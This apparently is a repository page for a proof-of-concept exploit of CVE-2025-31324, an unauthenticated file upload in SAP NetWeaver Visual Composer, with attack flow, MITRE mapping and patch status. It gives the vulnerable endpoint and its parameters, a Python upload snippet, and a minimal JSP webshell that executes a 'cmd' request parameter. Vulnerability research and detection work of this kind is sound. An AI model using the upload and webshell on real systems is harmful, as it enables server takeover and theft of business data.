hkenzokimura/cve-2025-31324Proof-of-concept exploit for CVE-2025-31324, an unauthenticated file upload in SAP NetWeaver Visual Composer, with detection guidance, MITRE mapping, and remediation steps.
Type: Proof of Concept — Vulnerability Research CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Patched — SAP Security Note 3594142 + 3604119 Added to CISA KEV: May 2025
⚠️ This PoC uses a benign JSP file ("Hello World") to validate the attack surface without executing malicious code. For use exclusively in authorized environments for pentesting and detection development purposes.
Developed by: HKK$ cat ./vulnerability_summary.txtThe vulnerability CVE-2025-31324 resides in the Visual Composer Metadata Uploader component of SAP NetWeaver AS Java — a missing authorization check flaw that allows any unauthenticated attacker to send POST requests to the /developmentserver/metadatauploader endpoint, resulting in unrestricted upload of arbitrary files.
The CVE specifically affects the SAP NetWeaver Visual Composer Framework version 7.50, with a CVSS score of 10.0 — the maximum possible.
Threat actors actively exploited this vulnerability from January to May 2025, deploying persistent webshells on hundreds of systems around the world.
$ cat ./impact.txtBecause it operates with elevated privileges and is close to ERP data, lateral movement to SAP ABAP stacks or connected databases is trivial after exploitation.
The complete exploitation chain in real attacks:
Upload JSP (CVE-2025-31324)
→ Persistent webshell on the server
→ RCE as SAP process (high privilege)
→ Access to ERP data (Finance, HR, Supply Chain)
→ Lateral movement to ABAP / DB
→ Deployment of C2 frameworks (e.g., Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATTACKER SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/any file ──────────────────► │ Metadata Uploader │ │
│ (no authentication) │ │ │
│ │ ❌ No auth │ │
│ │ verification │ │
│ │ ❌ No extension │ │
│ │ validation │ │
│ │ ❌ No content │ │
│ │ sanitization │ │
│ └────────┬────────────┘ │
│ │ │
│ File saved to: │
│ /irj/root/ or similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (benign PoC) │
│ → Webshell (real exploit) │
└─────────────────────────────────────────────────────────────────────────┘
The /developmentserver/metadatauploader is part of SAP Visual Composer — a low-code development tool for business analysts to create SAP applications without Java code. The endpoint was designed to receive metadata models during development. Although the component is not enabled in the default NetWeaver configuration, Onapsis reported that it is widely enabled in production environments.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Why JSP and not another format?
SAP NetWeaver AS Java runs a JVM — .jsp files are interpreted directly by the servlet container (embedded Apache Tomcat) without prior compilation. This makes JSP the ideal format for webshells in Java environments.
The choice of benign content ("Hello World") is deliberate for the PoC:
In real exploitation, the content would be a JSP webshell with command execution, e.g.:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Why this Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
The endpoint expects a multipart/form-data request — the same format used by HTML file upload forms. This is intentional in the original Visual Composer design (upload of development models).
The requests library automatically assembles the multipart boundaries when files= is passed — the Content-Type: multipart/form-data; boundary=... header is generated internally.
verify=False: disables TLS certificate validation — necessary because SAP environments frequently use self-signed certificates. In production, use verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Component | Meaning |
|---|---|
:50201 | Default port for SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Visual Composer development servlet |
metadatauploader | Specific metadata upload endpoint |
CONTENTTYPE=MODEL | Content type expected by the endpoint |
CLIENT=1 | SAP client — 000, 100, 001 are common |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Exploitation of the /developmentserver/metadatauploader endpoint
# without authentication via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell uploaded → executed by the servlet container (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell as persistence mechanism
# JSP file persists on the server filesystem across reboots
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells named as legitimate SAP files (e.g., metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Post-RCE: enumerate processes, users, SAP paths
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Access to ABAP stack, databases connected via RCE
tactic: Collection
- T1005 # Data from Local System
# Direct access to ERP data (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtProduct: SAP NetWeaver Application Server Java
Component: Visual Composer Framework
Version: 7.50 (all builds before the April/May 2025 patch)